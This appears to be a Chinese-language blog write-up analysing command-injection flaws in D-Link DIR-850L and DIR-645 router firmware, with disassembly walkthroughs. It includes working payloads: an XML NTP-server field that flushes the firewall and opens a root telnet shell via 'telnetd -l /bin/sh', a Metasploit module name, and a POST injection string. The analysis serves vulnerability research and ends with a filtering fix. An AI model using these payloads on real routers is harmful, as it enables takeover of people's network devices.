@H4l0
2019-06-10T12:42:21.000000Z
字数 3712
阅读 2110
漏洞分析
IOT
这次来分析两个比较经典的路由器命令执行漏洞,DIR-850 和 DIR-645 的 RCE,漏洞成因都是由于参数拼接不当造成的。
根据前一篇文章中的任意文件读取漏洞,在读取到 DEVICE.ACCOUNT 配置文件中的敏感信息之后,我们就可以进一步利用,达到命令执行的目的,进而 getshell。
代码如下:
这里的 server
变量可控,导致在拼接时,我们可以闭合前面的命令参数,执行任意命令。
通过前一步的任意文件读取得到 admin 的密码之后,登录上去抓包,将认证过的 cookie 赋值给 uid。
首先先访问 DEVICE.TIME 这个 service ,根据返回包的 xml 文件数据格式来构造命令注入的 payload。
构造 xml 数据:
<postxml>
<module>
<service>DEVICE.TIME</service>
<device>
<time>
<ntp>
<enable>1</enable>
<period>604800</period>
<server>metelesku; (iptables -F;iptables -X;iptables -t nat -F;iptables -t nat -X;iptables -t mangle -F;iptables -t mangle -X;iptables -P INPUT ACCEPT;iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT; ) & exit;</server>
</ntp>
<ntp6>
<enable>1</enable>
<period>604800</period>
</ntp6>
<timezone>61</timezone>
<time></time>
<date></date>
<dst>0</dst>
<dstmanual></dstmanual>
<dstoffset></dstoffset>
</time>
</device>
</module>
</postxml>
这里的 payload
将目标服务器的 iptables
防火墙关闭,并在 23090 端口开启 telnet 服务
$enable
和 $enablev6
都设置为 1,就执行了第一个分支。之后,按照这篇文章的思路,为了使得设置加载的服务生效,还要向 pigwidgeon.cgi
发送激活请求。
返回 OK 则表示已经激活成功。
这时可以再请求一下 DEVICE.TIME 查看结果,发现这里已经成功将 payload 写入 service
变量
按照一般思路,拿到了远程 RCE 之后,可以在目标机器上开启 telnetd 服务,进行 shell 的登录。
telnetd
是 busybox
程序中集成的一个服务,所以在嵌入式设备中一般都可以进行开启。
telnetd -p 23090 -l /bin/sh
在上面的 xml 数据里的括号中,加入上面的代码,就可以在 23090 端口开启一个 telnet 服务,-l 参数表示在登录上 telnet 服务之后就执行 /bin/sh
程序,即反弹一个 busybox 的 shell。
和上面的流程一样,先后访问 hedwig.cgi 发送 xml 数据和 pigwidgeon.cgi 激活服务之后,就可以在本地尝试连接
图上表明正常获取了目标 busybox
的 shell。
在 metasploit 上集成了一个 DIR-850l 的命令执行的 exp,所以这里直接使用工具来 getshell 也是一个方法。
exploit/linux/http/dlink_dir850l_unauth_exec
在 exploit-db 上的位置
这里笔者在 vps (ubuntu 14.04) 上装了一个 msf,安装方法也很简单:
sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
安装好后打开 msf, use exploit 设置好参数就行了。
这样就反弹了一个 busybox 的 shell。
在 dir-645 固件版本 1.02 中的 service.cgi 中存在一处命令注入,可以通过闭合前面的命令,注入恶意数据,达到执行任意命令的效果。
固件下载地址:
ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.02.ZIP
同样的,把固件解压后使用 binwalk 提取出文件系统。将 htdocs/cgibin 载入 IDA 中,找到处理 service.cgi 代码逻辑部分,也就是 servicecgi_main
这个函数处。
接下来一步步分析函数的功能,首先使用 getenv
函数获取 http 请求方法,若为 POST 请求,则执行右边的分支。
使用 cgibin_parse_request
函数解析 content-length 和 content-type 头字段之后,经过 sess_ispoweruser
函数判断用户是否已经登录。
之后获取 POST 表单字段,若字段名为 EVENT
的话,就将 "event %s > /dev/null"
作为参数执行 lxmldbc_system
函数。
.text:0040CF58
.text:0040CF58 loc_40CF58:
.text:0040CF58 lui $a0, 0x42
.text:0040CF5C jal sub_40CD50
.text:0040CF60 la $a0, aEvent # "EVENT"
.text:0040CF64 la $a0, aAction # "ACTION"
.text:0040CF6C jal sub_40CD50
.text:0040CF70 move $s2, $v0 # 注意这里的 v0 是 sub_40CD50("EVENT") 的返回值
.text:0040CF74 la $a0, aService # "SERVICE"
.text:0040CF7C jal sub_40CD50
.text:0040CF80 move $s0, $v0
.text:0040CF84 lw $gp, 0x130+var_120($sp)
.text:0040CF88 beqz $s2, loc_40CFA4
.text:0040CF8C move $s1, $v0
.text:0040CF90 lui $a0, 0x42
.text:0040CF94 la $t9, lxmldbc_system
.text:0040CF98 la $a0, aEventSDevNull # "event %s > /dev/null"
在 lxmldbc_system
函数中调用了 system
函数,跟进分析一下
开头先执行了 vsnprintf
函数,格式化字符串到栈上 ($sp+0x428+var_40C)
vsnprintf($sp+0x428+var_40C,0x400,"event %s > /dev/null",input_arg)
vsnprintf 函数的解释:
函数原型:int vsnprintf(char *str, size_t size, const char *format,va_list ap);
函数说明:将可变参数格式化输出到一个字符数组
参数:str输出到的数组,size指定大小,防止越界,format格式化参数,ap可变参数列表函数用法
这个函数和 snprintf
函数就差了一个可变参数 va_list ,这里分析的话直接忽略就好了。
接着调用 system
函数,这里的 $s0 = $sp+0x428+var_40C
可以看到这里直接将刚才格式化过的字符串传入 system 作为他的参数。
.text:004133E4 la $t9, system
.text:004133E8 nop
.text:004133EC jalr $t9 ; system
.text:004133F0 move $a0, $s0 # command
也就是执行了 system("event %s > /dev/null")
,显然这里我们可以用分隔符 (;、|、&、%0a) 来截断前面的命令,进行命令注入,达到执行任意命令的效果。
所以在这里我们只需要提交类似于 EVENT=;uname -a%26
的 POST 数据就行了。
system
函数执行是有回显的,所以这里可以直接在返回包中看到执行的结果。
DIR-850L 和 DIR-645 的命令注入漏洞都是由于在拼接参数时没有进行过滤,直接执行 system 函数,因此防御手段就只需要在拼接参数时进行相应的过滤即可。